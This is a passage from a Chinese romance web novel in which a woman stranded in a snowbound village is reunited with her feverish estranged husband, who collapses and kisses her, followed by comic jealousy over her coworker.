路见薇大学的理想型就是高大帅气的男生,不用特别帅,特别帅的她驾驭不住,一般帅就行,云听自然而然理解成了路见薇对周之寒有好感。 顶着臭屁虫的味道靠近,真让人感动。 要是徐清聿身上有奇奇怪怪的味道,她应该是不会靠近的。 怎么又想到徐清聿了? 云听摇了摇头。 周之寒察觉到路见薇的举动,警惕地瞥了她一眼:“……你在干嘛?” 路见薇立刻收回目光,假装什么都没发生,露出一个得体的微笑:“哦,没什么。” 她转头,压低声音问云听:“你这个同事喷的是什么香水?” “……” 路见薇正在努力寻找合适的形容词:“挺……另类的。” 云听:“……” 情人眼里出西施吗? 在外打拼多年,路见薇人情世故懂不少,她不好直接说“难闻”,但这味道绝对不能算是好闻,至少不是正常人类会喷的香水。 云听看到周之寒憋屈的脸,笑了一声。 “Stink bug。”她淡淡地说。 路见薇愣了一下,没反应过来:“什么成分?” 云听平静地回答:“主要成分是醛类、烃类和酯类。” 路见薇恍然大悟:“这听起来倒是挺常见的。” 云听慢悠悠地补充了一句:“是臭屁虫放的屁的成分。” 路见薇笑容僵住。她的表情从震惊过渡到难以置信,“你别骗我。” 云听抬眸:“我没有。” 路见薇的表情变幻莫测,她的视线不受控制地转向周之寒,脑子里浮现出一个惊悚的念头。 她刚才到底闻了什么? 她还闻了好多次! 路见薇转身:“不行,我要去问问他为什么要喷这个香水,哪个调香师口味这么重?” 云听眼疾手快,一把拉住了她的手臂:“真的是臭屁虫的味道,周老师已经很难过了,我们就不要再提他的伤心事了。” 路见薇理解了她的话,表情变得扭曲,眼神里带着一点惊恐和强忍的绝望:“靠!” 她猛地后退了两步,立刻掏出纸巾,疯狂地擦拭自己的鼻子,仿佛这样就能抹去刚才的“罪恶”记忆。 云听说:“昨晚那只臭屁虫受惊时释放了大量防御性气体。” 路见薇的表情一言难尽,“……呕!” 见两人行为怪异,周之寒跟着停下脚步,问:“你们在聊什么?” 路见薇谨记云听的话:不能提臭屁虫。 强大的人情世故信念让她不得不说出违心话:“没什么,你的香水味挺好闻的。” 周之寒的脸色顿时变得难看起来。 他装也不装了,忍住怒火,咬牙切齿:“我他妈没有喷香水。” * 第三天,三人一起去找老太太。 路见薇了解线香,云听和周之寒磨破嘴皮子都没能让老太太松口,结果路见薇不过几句话,就让老太太愿意继续聊下去。 两人就这样聊起了线香,从选材、制作,到不同配方的香韵变化,再到市场上那些以次充好的劣质香,越聊越投机。 老太太的神情也越来越轻松,时不时露出一丝笑意。 她已经很久没有遇到过真正懂行的人了,所有人都只关心线香能卖多少钱,能不能做成品牌,只有这个女孩,真的在意它的工艺。 中午,老太太破天荒地留他们一起吃饭。 她招呼他们到厨房,端出几道地道的农家菜,虽然都是家常饭菜,但味道十分香浓。 “既然你们不是来做生意的,那就坐下吃饭吧。”老太太说道。 好巧不巧,她在这时皱了下眉头。 周之寒ptsd发作:“……” 老太太看到周之寒捧着碗筷转起身,奇怪极了,她问:“小伙子,站着干什么,怎么不坐下来吃饭?” 周之寒尴尬地咳了一声,打着哈哈:“没事,我站着吃就行。” 云听给周之寒一个眼色,口型告诉他已经没味道了,周之寒这才敢放心坐在椅子上吃饭。 吃完饭后,几人坐在院子里晒难得一见的太阳。 路见薇问老太太,檀香和沉香主要生长在热带和亚热带地区,为什么她不生活在那? 生活在那儿各种原材料不是更方便获取吗? 老太太倒是没说原因。 云听看着周围的景色,心里有了个新的想法。 原本他们的计划是待三天就离开,可现在…… 她想再待几天。 路见薇和老太太聊得很好,老太太的态度已经有了明显的改变,如果能再多待几天,也许能让老太太真正接受他们。 她想让老太太相信,她们不是来剥削她的传统技艺,而是来学习和传承的。 这一点,云听已经询问过Ethan,Ethan向他保证Aurora需要老太太的香,并非只为了盈利,传承才是重中之重。 云听相信Aurora,相信Ethan。 她把留下来的想法告诉周之寒。 周之寒听完,表情裂开。 他早就归心似箭了,每天闻着自己身上的味道,他已经要精神崩溃了。 可是仔细一想,任务还没有完成,他走不了。 几个人在星河一待就是十天。 不是不想离开,这下是真的走不了了。 二月的乡村,寒意仍未散去。大雪刚停没多久,尽管太阳偶尔露面,但到了晚上,气温仍然能骤降到零下十几度。 谁都没有想到,连续几天的低温会引发灾难。 风雪交加,树枝被冻得咔嚓作响,许多房屋的屋顶都压满了积雪,有几间年久失修的老房子直接塌了。 第八天深夜,山里突然传来一阵巨响。 村民们被惊醒,纷纷披上外套跑出门查看。 云听和路见薇猛地睁开眼,翻身下床,披上外套也往外跑。 等她们赶到村口时,发现不少村民都围在一间坍塌的房屋前,老太太也在场,表情凝重。 有人惊慌失措地喊道:“通讯完全断了,电话打不出去!” 云听掏出手机,发现没有信号。 她转身去找周之寒商量,一个村民跌跌撞撞地跑来,大喊:“山那边的桥断了!” 云听站在院子里,望着远处黑漆漆的山林,心里惴惴不安。 “这下麻烦了。”周之寒从不远处走来,“桥塌了,信号也不稳定,怕是暂时走不了了。” 云听再次查看手机,屏幕上只有微弱的一格信号,她尝试拨打电话,最终显示拨通失败。 她发愁,以往她每天都会在家族群里报平安,明天怎么办? 路见薇拿着手机过来,苦笑道:“别 试了,我刚才找了半天信号,连条消息都发不出去。” 老太太看着来来往往的村民,叹了口气:“每隔三五年就来一次,你们不用担心,这几天怕是只能等了,等政府派人过来修桥。” 她看出云听得着急,补充道:“虽然有条小路,但我不建议你们走,太危险。” 第十天晚上。 屋内,炉火燃烧着,映出温暖的橘黄色光晕,云听三人和几个村民围坐在一起聊天,谈论着村里的趣事。 对长久生活在这里的村民来说,已经见怪不怪了。 笑声和寒冷交错,竟也生出几分暖意。 云听穿着厚厚的衣服坐在一旁,手里捧着一杯热茶,茶香氤氲,暖了指尖。 昨天她给云闻、爸爸、妈妈、家族群都发了消息,好在成功发送了一条,云闻一定会转告爸妈她没事。 路见薇在和老太太聊天。 周之寒则郁闷地远离众人,祸不单行,他又中招了。 不是感冒,不是发烧,而是臭屁虫。 兴许臭屁虫知道同伴惨遭他的毒手,另一只臭屁虫又在他的身上撒了口气,撒完气就跑了。 周之寒气炸了。 一直在喋喋不休抱怨:“我就不明白了,这么冷的天,怎么还有臭屁虫?它们的生命力怎么这么顽强?” 路见薇憋着笑,一本正经地安慰道:“这说明你很有吸引力。” 周之寒:“……” 正当几人打趣着周之寒的时候,门被人用力推开。 一阵冷风裹挟着夜色席卷而入,火光摇曳,屋里的人纷纷转头看去。 门口站着一个人,身形颀长,眉眼冷峻,眼睛紧紧盯着屋内,浑身的寒意比这夜色还要浓。 是徐清聿。 他穿着一件黑色衬衫,外面什么都没套,裤子单薄,脚步有些虚浮,脸色苍白得可怕,像是从冰雪中闯进来的,带着彻骨的寒冷。 云听揉了揉眼睛。 老太太皱起眉头,疑惑地看着这个浑身被冷风浸透的年轻男人。 路见薇眨了眨眼睛,低声问云听:“他谁啊?” 徐清聿的视线在屋内扫了一圈,下一秒,他大步走向云听,拉过她的手,一把将她抱住。 云听被这突如其来的拥抱弄得一愣,想要说话,但被他强硬地搂在怀里,她感受到徐清聿冰凉的体温,不仅凉,他的身子还在剧烈颤抖。 “……徐清聿,你怎么来了?” 徐清聿没有回答,只是将她抱得更紧。 云听伸手摸了摸他的脖子,滚烫得吓人,“你发烧了?” 徐清聿没说话,只是低着头,深深地埋在她的颈侧,像是在确认她的温度,像是终于抓住了什么能让他安心的东西。 他的声音很低,沙哑得几乎听不清:“……我以为你出事了。” “我没事。” 徐清聿已经太久没休息了,这几天来,他的心一直紧绷着,无法放松。直到此刻,见到云听,他心里紧绷着的一根弦,终于断了。 所有的疲惫、紧张、不安……彻底压垮了他。 他的膝盖一软,直接跪了下去。 第54章 第五十四章 发烧吻 风吹过墓地, 卷起一片枯叶,落在徐清聿的脚边。 他站在背光处,背影沉沉, 像一尊没有生气的雕像。 墓碑上有三张笑脸。 照片里的女人年轻美丽,黑色的长发柔顺地披在肩上,笑容温暖明媚。她的两侧,是两个同样笑得灿烂的女孩, 依偎在她身边,眼中闪烁着纯真的光。 徐清聿沉默地蹲下身,将手中的白色花束放在墓碑前,一朵一朵地摆正,“抱歉, 这个季节,找不到你最喜欢的花。” “只能……用别的花代替。” 他站了很久,久到太阳一点点西沉,影子被拉得很长。 * 徐清聿从墓地离开时,接到了云闻的电话。 挂断电话后, 他立刻定了最近回国的航班。 可因为天气原因,暴雨来得突然,航班延误。 徐清聿坐在机场候机室里,心神不宁地翻看手机, 反复查看航班动态。每隔十分钟都会拨打一次云听的号码,每一次都是机械的信号音。 机场冷气充足, 他烦躁得浑身发烫,眉宇间的冷静支离破碎。 终于,三个小时后,航班信息从“延误”变成“登机中”, 他站起身,脚步匆匆地向登机口走去。 航班不是直达的,飞8个小时后还要去别的城市转机,光是转机又得花费三小时。 徐清聿心里的焦躁和不安翻涌得更加剧烈。 他以为,离开云听是最好的选择,现在看起来如此愚蠢。 他怕自己的过去影响她,但是当他看到她的比赛视频在网上疯传,看到她越来越好,心脏像是被掏空了一块。 思绪不停地回旋,徐清聿脸色灰白,没有一点血色。 忽然,一只小小的手伸到徐清聿的面前。 徐清聿侧目,看见一个头上扎着两条整齐小辫子的小女孩,犹豫不决地把一颗糖果递到他面前。 “哥哥,别害怕,吃颗糖吧,糖果会让你开心的。” “哥哥,你要是不喜欢草莓味的,我还有葡萄味的,苹果味的,蓝莓味的,薄荷味的。” 说完,她从口袋里拿出一把五颜六色的糖,捧到徐清聿面前。小女孩似乎挺怕他,但是又想给他吃糖,挣扎两个字都写在了脸上。 她怯生生的模样让徐清聿想起了八岁的云听,那时她胆怯地躲在云渡身后,睁着水灵灵的大眼睛,也是这样好奇又害怕地观察她。 可是,她怎么会哭呢? 徐清聿从中拿了一颗薄荷味的糖果,嘴角扯出一个僵硬的弧度,“谢谢你。” 小女孩的妈妈上完厕所回来,小女孩立刻缩进妈妈的怀里,小声说,“妈妈,这个大哥哥看起来好可怜。” 她妈妈拍了拍她的头,不好意思地朝徐清聿笑了下。 十五个小时后,飞机降落在目的地机场。 广播正在播报当地气温,零下五度。 徐清聿起身下机。 机场的玻璃门外,是一片苍茫的冬景,街道上行人们都裹着厚厚的棉衣,冷风呼啸而过,吹起地上的积雪。 M国温度适中,徐清聿来不及换衣服,所以他只穿着一件单薄的衬衫,与周围的人格格不入。 司机见他脸色苍白,不禁从后视镜多看了几眼:“小伙子,你穿这么少,不冷啊?” 徐清聿心急如焚,“没事,麻烦快一点,可以加钱。” 闻言,司机发动车子,将车内温度调高,“好咧。” 从城里到乡村的路越来越难走,雪后的道路坑坑洼洼,出租车颠簸得厉害。 行驶到桥时,车子被拦了下来,前方是正在作业的修复队,几个交警站在临时封锁线前,引导过往的车辆绕行。 徐清聿下车,快步走到交警面前:“请问什么时候可以通行?” 交警看到他的穿着,不由自主哆嗦了下:“这条路封了,村里通信中断,现在正在修复,暂时不能进。” “修复要多久?” “看具体情况,可能要几天。” 徐清聿心一沉,眼底焦灼:“我必须进去。” 交警为难道:“先生您不要着急,这里隔三岔五就会出现类似情况,您放心,里面无人伤亡。” 徐清聿环顾四 周,冷静问:“那有没有别的路能过去?” 交警正要说什么,旁边一个背着包的村民走了过来,似乎是刚从镇上办完事回来。 村民听到徐清聿和交警的交谈,犹豫地说道:“主路进不去,不过我知道一条小路,你要是不怕危险,我可以带你进去。” 徐清聿点头:“走。” 夜色深沉,雪后的乡间小道湿滑而崎岖。 村民走在前面,徐清聿紧随其后。 他穿得单薄,风从衣领口灌进去,冻得骨头都疼,可他毫无察觉,只是一步接一步地向前走。 风越来越大,村民回头看,忍不住说道:“你真是疯了,这么冷的天,穿成这样。” 徐清聿说没关系。 村民搓了搓手臂,哈出一口白气:“小伙子不用担心,这种事在我们这已经见怪不怪了,过几天就好,不会有人受伤的。” 徐清聿“嗯”了声。 终于,村子的轮廓在夜色中显现,微弱的灯光从几户人家透出来,映在雪地上。 “她应该在村头的屋子里。”村民指了指左前方,“我就不陪你进去了,你要找的人住在那里。” “谢谢。”徐清聿没等村民把话说完,已经快步迈了过去。 推开木门,屋内的温暖与人声扑面而来。 屋子里,有几个人正围着火盆闲聊,空气里带着炭火的味道,还有淡淡的烟熏气。 就在他推门而入的那一刻,所有人都朝门口望去。 云听也看过来了。 她安然无恙,好端端地出现在他面前。 * “喂——” 徐清聿闯进来时,周之寒就跟在他的身后。 他一惊,眼疾手快扶住徐清聿,替云听分担了一部分压力,才没有让他的膝盖落地:“你没事吧?” 徐清聿的意识已经有些涣散,周之寒和云听扶着他上楼。 徐清聿躺在床上,衬衫被冷汗浸湿,胸膛剧烈起伏,脸色苍白得像是纸一样,唯独那双的眼睛,紧紧盯着云听,生怕她会消失。 周之寒猜到了他的身份。他知道云听已经结婚,那眼前这个男人,应该就是她神神秘秘的老公。 看这架势,像是小开口吵架了。 周之寒回到自己的房间,走到行李箱旁翻找,取出一件干净的衣服,原路返回后扔给徐清聿,“换上吧,你的衣服湿透了。” 两人的身形差不多,他的衣服对徐清聿来说应该正好。 徐清聿接过衣服。 他抬眸望向周之寒,这一眼,让他想起了什么 徐清聿目光逐渐变冷。 他对他有印象。 那天在公司门口,他远远地看着云听,而周之寒站在云听身旁,两人关系亲昵。 徐清聿克制住内心翻涌的嫉妒,说了一声谢谢。周之寒察觉到他目光的变化,什么话也没说,转身离开,给两人留出独处的空间。 屋内只剩下云听和徐清聿两人,气氛凝滞。 徐清聿一双深沉而压抑的眼睛盯着云听,目光灼热得让云听浑身不自在。 云听不去看他,心里乱得厉害。 空气中弥漫着潮湿的寒意,徐清聿的气息越发急促。 他都烧成这样了,还来找她做什么?他是疯了吗? 云听收敛情绪:“徐清聿,你知不知道你发烧了。” 徐清聿没有回答,只是定定地看着她,眼底藏着风暴,有千言万语堵在喉咙,又不知从何说起。 云听深吸一口气,她该让徐清聿洗澡吗? 可他现在的状态,根本撑不住热水冲击。 思索片刻,她起身去烧了热水,翻找出干净的毛巾,走到他面前,不咸不淡地开口:“先擦一下脸,把衣服换了。” 徐清聿垂眸看她递来的毛巾,愣了一下,随即伸出手,接过毛巾,动作缓慢地擦拭脸上的水渍。 他的动作有些迟缓,透着明显的乏力。 沉默的对峙间,云听开口:“徐清聿,你为什么要来?” 徐清聿望着她:“担心你。” 短短三个字,带着千斤重量,砸在云听心口。 她的心脏猛地一颤,指尖蜷缩,但很快恢复镇定。 她轻嗤一声,语气讥讽:“担心我?徐清聿,我们已经离婚了。” 徐清聿眼底划过一丝痛意:“我还没有签字。” 云听眉心微蹙,心底的烦躁更甚。 她原本以为自己已经足够冷漠,足够决绝,可徐清聿为什么还要出现在他的面前,打乱她的平静。 她不想再被徐清聿影响,可是只要他站在这里,她就没办法真正做到无动于衷。 最可笑的是,看着他这副病恹恹的模样,她心脏还是会密密麻麻地疼。 路见薇拿着热水和退烧药进来时,徐清聿衣服都没换,已经昏睡过去了。 “云云,他还好吗?这是老太太让我拿上来的,快让他吃了吧,防止病情加重。” 云听道谢,接过药和热水,放在徐清聿的床头,推了推他的肩膀,“把药吃了。” 徐清聿没有睁眼,陷在被窝里的侧脸泛着不正常的潮红,黑发凌乱地粘在汗湿的额角,看起来很可怜。 他不肯吃药,云听做不到见死不救,只好坐在床边,扶住他的肩膀,让他坐起来。 她的指尖悬在徐清聿凸起的后颈骨节上方,把杯沿抵在他开裂的唇缝间,命令道:“张嘴。” 感受到云听的靠近,徐清聿紧蹙的眉头松开一些,唇瓣顺从地张开,水顺着杯沿渡进唇间。 水灌得太猛,他的喉结动了动,剧烈咳嗽起来,部分水沿着他的下颌和脖颈流进锁骨凹陷处。 云听倾身,手托住徐清聿的后脑勺,避免他被呛到。 路见薇站在一旁,看到眼前的画面,不知道为什么脸有点发热,要是放在以前,她这会儿已经化身尖叫鸡了。 她看见徐清聿喉结滚动吞咽的动作,凸起的青筋顺着脖颈没入松垮的衣服领口,她看到云听修长的食指温柔地划过徐清聿的苍白的皮肤,替他擦掉脖颈、锁骨处的水痕。 好色。情。 内心万马奔腾,路见薇强忍拍照,然后去大肆宣扬的冲动,淡定问:“云云,你和他什么关系呀?” 云听动作一顿,“前夫”两个字,卡在喉咙里。 “哥哥。”漫长的沉默后,她听见自己的声音,“他是我的一个哥哥。” 话音未落,云听的腕间传来灼人的热度。 徐清聿不知何时睁开了眼,高烧让他的瞳孔蒙了层水雾,他重复云听的话,声音是病态的喑哑,“哥哥?” 云听别过脸躲避他滚烫的凝视,将颈动脉暴露在徐清聿眼前:“放手,你还烧着,先吃药。” 徐清聿不放,他撑起身子,直接朝云听压了过去。 路见薇看见两人之间诡异的气氛,悄悄后退了一步,她讪讪地说:“那个……你们先聊,我先下去了,有事叫我就行。” “我和你一起走。”云听的手腕被徐清聿攥得生疼,正要抽手,整个人被拽进他滚烫的怀抱里。 唇上传来刺痛。 路见薇的尖叫声从很近的地方传来。 破碎的声线撞在墙壁上,和窗外的风声在房间里横冲直撞。所有的声音都化作嗡鸣的背景音,云听听见了自己剧烈的心跳声,震得耳膜生疼。 徐清聿的手扣在她后脑,掌心潮湿的体温透过发丝灼烧着她的头皮。 “徐清聿,你”灼热的唇沿着她的唇瓣一点点碾过,云听的尾音被吞进两人交缠的唇齿间。 咸涩的血混着苦涩的药在口腔漫开,云听咬破了徐清聿的唇,徐清聿像是感觉不到疼痛,滚烫的手指捏住云听的下颌,逼迫她张开嘴。 云听的呼吸越来越急促,挣扎时不小心撞翻了床头柜上的水杯,玻璃碎裂,徐清聿却置若罔闻。 他的唇角已经干裂出血,仍固执地用犬齿厮磨云听的下唇。 云听的一只手抵在徐清聿的胸口,隔着衣服都能感受到他皮肤下岩浆般滚烫的血流,太烫了,“唔,你放开……” 终于,徐清聿放开她的唇,咬了下她的耳垂,沙哑的喘息混着呓语灌进云听的耳蜗,“云听,我好想你……” 徐清聿吻了云听之后,已经丧失所有体力,又一次沉沉地倒在床上,昏睡过去。 云听转头看向已经石化的路见薇,她来不及解释,轻声说道:“薇薇,你可以先出去一下吗?” 路见薇从震惊中回过神来,默默退出房间,拉上房门。 云听叹了口气,走过去调高空调的温度,又端来一盆温水。 她蹲在床边,伸手解开徐 清聿的衬衫扣子。 徐清聿里面还穿了一件黑色的无袖紧身背心,湿漉漉的背心紧紧贴合着他的肌肉,将他结实的轮廓勾勒得一清二楚。 胸部的肌肉线条,随着他的呼吸剧烈起伏,背心的下摆勉强遮掩着他的肚脐,从侧面看去,可以看到微微隆起的腹肌。 云听咬了咬牙,伸手把他的背心也脱了下来,用温热的毛巾一点点擦去他身上的汗。 她以为这样就够了,可当她看到徐清聿身上的汗湿透了裤子时,还是皱起了眉。 云听盯着他的裤子看了很久,才试探着解开了他的腰带,小心翼翼地将他的裤子脱下来。 整个过程,徐清聿都没有醒。 云听没有碰徐清聿的隐私部位,只是用毛巾擦拭他腰腹和大腿的汗水。等她帮他擦干净,换上干净的衣物时,已经过去了一个小时。 回到房间后,路见薇立刻迎了上来,她看到云听的耳朵上还沾着徐清聿的血,犹豫问:“你们俩……到底是什么关系?” 见瞒不下去,云听实话实说:“前夫。” 路见薇瞪大了眼睛,满脸震惊:“你结婚过?!” 云听轻轻点头,表情没有太多波澜。 “他……”路见薇斟酌开口,“是你一直暗恋的那个人吗?” 云听没承认,但路见薇看到她的神情,心里已有答案。 她想起大学时期,云听身边从不缺追求者。 无论是学长还是同级生,甚至连外校的人,都有人打听她的消息。有不少人为了能靠近云听,甚至贿赂她这个室友,想让她牵线搭桥。 但每一次,云听都冷淡地拒绝了任何人的示好,没有给任何人机会。 路见薇一直以为云听是个学习狂魔,对感情不感兴趣,所以对任何人都没有特别的感觉。 直到有一次,寝室一起出去喝酒,那天云听喝醉了,安静地坐在角落里,一句话也不说。 她没有像别人一样胡言乱语,也没有撒酒疯,而是默默地流泪。 其他三人当时吓了一跳,连忙问她怎么了,可云听什么都没说,她只是低着头,眼泪一滴滴地落在桌上。 那时候路见薇才明白云听有一个喜欢的人,而且喜欢了很久很久。 只是云听从来不说,藏在心底,无人知晓。 现在,一切都对上了。 路见薇问:“为什么离婚?” 云听淡淡地说:“强扭的瓜不甜,他不喜欢我。” 路见薇抓了抓头发,以第三者的视角来看事情并非如云听所说,“可是刚才……他看起来不像是不喜欢你。” 如果不喜欢,那刚才的那些细节,又该如何解释? 他高烧不退,昏迷着,还是紧紧抓住她的手不放。他吻她的样子,分明是情难自控,而不是无意识的举动。他烧得厉害,神志不清,还是贴在云听的耳边说好想你。 这一切,根本不像是“不喜欢”该有的表现。 * 深夜。 云听躺在床上,翻来覆去无法入睡。 闭上眼,脑海里全是徐清聿高烧不退的模样。 他烧得那么严重,真的不会出事吗? 云听忍不住坐起身,盯着黑暗中的房门,心里挣扎。 理智告诉她,没必要这么紧张,徐清聿只是发烧而已,又不是第一次生病,而且他已经吃药了,她没必要去看他。 可情感却在催促她,去看看他,就算徐清聿跟她没有关系了,可是万一烧糊涂了怎么办?徐叔叔和邢阿姨会担心的。 情感战胜理智,云听起身披上外套,轻手轻脚地走向徐清聿房间。 之前她发烧,徐清聿也是整夜照顾她,就当是感谢他吧。 门没有关紧,她推开了一点,借着月光看向床上的人。 徐清聿呼吸均匀,脸色也比之前好了些。 云听在门口站了几秒,回到了自己的房间。 可是,她依旧睡不着。 过了一会儿,她又起身,去了徐清聿房间门口。 还是一样的画面,他没有醒,睡得很沉。 直到确认他的体温没有继续上升,云听才回到房间。 就这样,一晚上,她来回折腾了好几次,最后自己都觉得自己像个神经病。 好在后半夜徐清聿的温度降下来了,脸上的潮红也褪去不少。云听这才安心地回到房间,躺下后没多久,便睡着了。 天光微亮,晨雾氤氲。 徐清聿醒来的时候,浑身无力,但头脑已经清醒了许多。 他掀开被子,简单洗漱完,起身下楼。 刚走下楼梯,就看到一个年纪不小的村民拿着一件厚厚的外套和一条裤子走了过来。 土里土气的藏蓝色上衣,裤子是深灰色的,布料厚重,裤腿又宽又大。 村民看到徐清聿穿得单薄,露出善意的笑容,把衣服递给他:“小伙子,昨天看你穿得少,这套衣服你穿上吧,天冷。” 徐清聿低头看了一眼外套,明显是村民自己穿的,袖口已经有些磨损,布料也旧了。 “谢谢。”他没有推辞,也不嫌弃,直接接过,利落穿上。 就是有点小,扣子扣上后,胳膊抬不起来。 村民笑着调侃:“年轻人,穿这身衣服还挺精神的。” 路过的周之寒正好看到这一幕。 他在喝水,看到徐清聿穿着老爷爷风格的衣服搭配一张俊美薄情的脸,一口水喷了出来。 周之寒用手背擦掉唇角的水,心里想:算了,身上臭点也没什么,比丑要好,这套衣服他可穿不了。 老实说,他不太喜欢徐清聿。 太冷,太沉,太危险。 估计还把自己当作假想情敌。 但怎么说,徐清聿是唯一一个从头到尾没有嫌弃他身上味道的人,徐清聿看起来比他更有洁癖,但是他不嫌弃,说明他是一个好人。 想到这里,周之寒心情复杂,经历过职场上的尔虞我诈,现在退化到仅凭一件衣服就能判断出人的品性,真离谱。 他咳嗽了一声,主动说道:“你好,我叫周之寒,你别用这种眼神看着我,我和你的老婆是清白的,只是简单的同事关系。” 大概是听到“老婆”两字,徐清聿气场软化了一点,“徐清聿。” 周之寒心里莫名发怵,他向来自信,在徐清聿冰冷目光下,总觉得自己落了下风。他有点不爽地别开头,但还是好心提醒道:“你老婆去附近的村子里了。” 话音刚落,徐清聿已经站起身,早餐也没再碰一口,丢下一句谢谢就走了。 周之寒望着徐清聿匆忙离开的背影,心里腹诽,还挺上心的,这么大个村子你找得着吗? 另一边,云听正在一户人家里品尝花茶。 这个村子的生活淳朴,人情味浓厚,这段时间住下来,云听和村民们也慢慢熟络起来。 女主人热情地招呼云听和路见薇:“来,尝尝我自己做的花茶,这可是我们家祖上传下来的配方,外面可买不到。” 云听接过茶杯,轻轻吹了吹浮在茶水上的花瓣,抿了一口,温热的茶香弥漫在口腔里,她笑道:“真的很好喝。” 路见薇也尝了一口,忍不住夸道:“味道清新又醇厚,跟市面上的花茶完全不一样。” 女主人听到她们的夸奖,脸上有几分骄傲:“我们村的花都是自己种的,泡出来的茶当然比外面那些加了香精的好喝,你们要喜欢,回去的时候带一点走。” 这时,一个小孩子闯进院子里,脸颊因为奔跑而红扑扑的,她站在门口喘着气,眼睛滴溜溜地在屋里扫了一圈,最后定格在云听身上。 “姐姐!”小孩子用奶声奶气的嗓音喊她,“外面有个又老又年轻的叔叔找你!” 云听诧异,“又老又年轻的叔叔?” 路见薇问:“到底是老还是年轻?” 小孩子认真地想了想,皱着小眉头道:“他长得挺年轻的,可是穿得跟我爷爷一样……所以看起来又有点老。” 这句话让院子里的人忍俊不禁,路见薇笑得直不起腰:“这是什么奇怪的形容?该不会是村里路过的外地人吧?” 云听的笑意没有浮上脸,总不会是徐清聿吧? 她放下茶杯,对小孩子道:“他长什么样子?” 小孩子比画着:“他个子很高,看起来很漂亮很凶,穿着一件很土的衣服,裤子又短又大,随时都会掉下来!” 漂亮?路见薇转头问云听:“你前…额你哥哥吗?” 云听和路见薇来到院门口,视线一抬, 便看到了站在不远处的徐清聿。 他比周围的村民都要高出一截,静静地站在那儿,穿着一身明显不合身的衣服,肩膀的布料被撑得紧绷,袖子短了一截,裤腿却又宽又大又短,裤腰也比他平时穿的尺码要大上好几号,以至于他只能把裤带系得更紧一点。 但即便如此,他与生俱来的冷峻气质依旧藏不住,一眼望去,就知道这个人并不属于这里。 村里的老人看着他,有些新奇地小声议论:“这小伙子长得可真俊,就是这衣服,穿得……有点奇怪。” 和徐清聿四目相对的瞬间,云听听到了心底某个角落被撞击的声音。 徐清聿一步步走近,直到站在她面前。 “你怎么来了?”云听的声音比她预想中的更冷静。 她现在是一点都不想看到徐清聿。 徐清聿让她失望了,他回答:“来找你。” 路见薇站在原地光明正大观察徐清聿,想知道到底何方神圣能让云听暗恋这么多年,昨晚她还没仔细观察过他呢。 徐清聿没戴眼镜,眼尾有颗痣,鼻梁很挺。路见薇想到昨晚两人当着她的面热吻的场景,明明是一副很冷的长相,接吻的时候实在是色。情得过分了。 就是这会儿穿得也太恶心了吧。 她干咳一声:“外面太冷了,要不先进去坐一会儿?” 几个人围坐在木桌旁,茶香氤氲。 阿婆笑呵呵地看着两人,开口道:“姑娘,这小伙子是你什么人啊?” 云听回答:“哥哥。” 徐清聿目光微沉,掌心下的瓷杯传来细微的温度,却没有半点暖意。 曾经他希望能听到云听喊他哥哥,现在真听到了,这声“哥哥”比任何称呼都让他难受。 阿婆没有察觉到徐清聿脸色的变化,饶有兴致地问:“那和你一起来的小伙子呢?你们是什么关系?” 云听刚要开口,路见薇笑着抢答:“他们两个关系可好了,特别默契。” 阿婆眯着眼睛点点头,颇为满意地看着云听:“我就说嘛,那小伙子看起来就很可靠,稳重踏实,又能吃苦,你们俩挺般配的。” “般配?” 徐清聿眼神阴沉得像是压了层厚厚的云。 他手指一紧,茶杯被他放回桌上,发出一声轻微的碰撞声。 可惜阿婆没有发现,但路见薇已经将徐清聿的每一个细微表情收入眼底,顿时来了兴致,故意对着徐清聿那张阴郁的脸说道:“可不嘛,他们俩一起共事那么久,配合默契得很。” 阿婆连连点头:“是啊,我们村里讲究门当户对,这小伙子看着就靠得住,比那些花里胡哨的人强多了。” 徐清聿的脸色已然黑沉到了极点。 他眯起眼,目光扫过路见薇,冷得几乎能结出冰碴子。 路见薇被他盯得头皮发麻,可偏偏不想认输,反倒笑得更开心:“怎么,‘哥哥’不同意啊?” 徐清聿冷冷道:“我不同意。” 路见薇挑眉:“你只是她的哥哥,你有什么不同意的?” 这一句话,让桌上的空气骤然一静。 云听眼神示意路见薇别闹了。 路见薇不怕事,桌子底下拍了拍云听的手背,笑道:“哎呀,哥哥就是哥哥,凭什么不同意妹妹谈恋爱?” 徐清聿显然不会让人随随便便拿捏,无名指上的戒指一闪,他说:“她嫂子也不同意。” 云听,路见薇:“……” 阿婆虽然没弄清楚其中的意味,但也意识到这几个人之间的气场不太对劲。她赶紧打了个圆场:“哎呀,小年轻的事,我们这些做长辈的也不好多说。” 云听不想再继续这个话题:“阿婆,我们该回去了。” 她正打算起身告辞,女主人从厨房出来,热情地挽留:“吃了午饭再走吧,饭菜已经做好了,都是家常菜,你们年轻人在外面工作辛苦,难得来一趟,尝尝我们的手艺。 “这……”云听还没来得及找借口,听见阿婆说:“你们年轻人就是太客气,来都来了,尝尝吧。” 盛情难却,她不好意思拒绝长辈的好意,“好,那就麻烦阿婆了。” 不一会儿,周之寒也来了,他坐在徐清聿的右边。 徐清聿瞥了他一眼,什么话也没说。 饭桌上,几人聊得热火朝天。 吃着吃着,云听发现自己的碗里多了一块红烧肉。 她抬头一看,就见徐清聿正若无其事地收回筷子。 “……” 云听抿了抿唇,继续吃饭。 没过多久,碗里又多了一块炖得软烂的南瓜。 村民们看到这一幕,打趣道:“你哥哥对你真好啊,知道你爱吃什么。” 云听一时尴尬,轻笑了一声,没有接话。 她小时候非常喜欢吃青椒,无论炒肉还是拌菜,她喜欢加上一些青椒的味道。 可自从听说徐清聿不喜欢吃青椒后,慢慢的,云听对青椒也没了食欲。 但是徐爷爷徐奶奶不知道,家里的阿姨也不知道,每盘菜都会按照她的喜好来,放一点青椒。 云听每次都皱着眉头吃下。 不过结婚后,她倒是没怎么吃过青椒了。 路见薇用勺子给云听舀了一勺青椒炒肉,云听不想吃青椒,又不好意思挑出去,她刚准备吃,徐清聿从云听碗里夹走了青椒。 云听看到徐清聿面无表情吃了青椒。 吃完饭后,路见薇揉了揉肚子,她站起身对周之寒说,“要不要去逛一圈。” 周之寒心领神会,跟着路见薇离开。 两人走了没几步,路见薇嫌弃地吐槽周之寒,让他离自己远一点。 周之寒:“……” 直到看不见两人的身影,云听对徐清聿说:“聊聊吧。” 两人默契地避开了人群,沿着村口的小路,走到了一处空地。 云听看到徐清聿裸露出来的脚踝,在寒风中更加苍白,她开口:“徐清聿,你不要再做这种事了。” “不要再用这些让我误会的举动来干扰我。” 徐清聿沉默着,拳头攥紧。 